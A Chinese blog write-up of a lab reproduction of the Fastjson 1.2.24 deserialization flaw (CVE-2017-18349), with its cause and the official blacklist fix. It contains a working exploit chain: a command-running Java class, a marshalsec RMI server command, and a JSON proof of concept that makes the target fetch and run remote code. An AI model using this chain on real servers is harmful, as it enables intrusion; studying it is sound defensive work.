#FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)#
一、漏洞简介Pippo是一款基于Java的Web框架。FastjsonEngine是其中的一个JSON处理引擎。Fastjson是其中的一个基于Java的JSON解析器/生成器。 Pippo 1.11.0版本中的FastjsonEngine所使用的Fastjson 1.2.25之前版本的parseObject存在安全漏洞。利用fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。
二、漏洞影响影响版本
Fastjson<1.2.25
三、产生原因@type属性:Fastjson支持在json数据中使用@type属性,该json数据会被反序列化成指定的对象类型,在反序列化过程中fastjson会调用parse(jsonStr)函数尝试对对象的属性进行赋值,若对象的javabean存在属性的setter方法则调用set方法,反之调用get方法。
TemplatesImpl中存在一个反序列化利用链,在反序列化过程中,如果该类的getOutputProperties()方法被调用,即可成功触发代码执行漏洞。
TemplatesImpl类_outputProperties成员变量的getter方法满足被调用条件。无论通过fastjson哪种方式解析json字符串,都会触发getOutputProperties()方法。
由此可见:FastJson在反序列化TemplatesImpl类时会恰好触发TemplatesImpl类的getOutputProperties()方法;TemplatesImpl类的getOutputProperties()方法被触发就会引起反序列化代码执行漏洞。
四、复现过程docker 靶机:192.168.111.137
攻击机 kali:192.168.111.136
靶场环境:FastJson 1.2.24
环境搭建好后访问192.168.111.137:8090,显示页面如下:
exp:
先将需要执行的java代码编译成class字节码文件,供靶机远程调用
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
使用Java反序列化利用工具marshalsec辅助开启RMI环境
marshalsec:
git clone https://github.com/mbechler/marshalsec
maven:
apt-get install maven
借助marshalsec项目,启动一个RMI服务器,监听端口,并制定加载远程类TouchFile.class,执行:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.136:1234/#TouchFile" 9999
开启http服务:
python -m SimpleHTTPServer 1234
发送POC,反dshell
POST / HTTP/1.1 Host: 192.168.111.137:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 167 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.111.136:9999/TouchFile", "autoCommit":true } }
运行payload,成功后,服务端响应码500。
在监听端口查看到已建立连接。
进入靶机查看命令是否执行成功,输入命令进入FastJson环境容器执行bash:
查看容器id
docker ps
执行以下命令查看远程命令是否被执行:
docker exec -it 01d4680e6d12 /bin/bash
success已被创建,复现成功。
复现过程中遇到的坑:JDK版本问题。
由于jdk:8u102没有com.sun.jndi.rmi.object.trustURLCodebase的限制,改为jdk:8u102或以下版本后复现成功。
五、修复方案在fastjson的官方补丁中,将loadClass(typeName, config.getDefaultClassLoader())替换为了config.checkAutoType(typeName),并且扩充了黑名单列表,将传入的类名与黑名单一一比较,如果发现了相同开头的类就停止反序列化。
// 新增的黑名单 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
可以看到绝大部分常用的类都已经被加进来了,但是如果不经常维护此名单,一旦后面出现了新的可以利用的类,很容易就绕过这个限制。
六、参考链接Fastjson1.2.24漏洞复现详细过程
fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤
marshalsec下载地址
标签CVE-2017-18349、FastJson、反序列化、命令执行
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)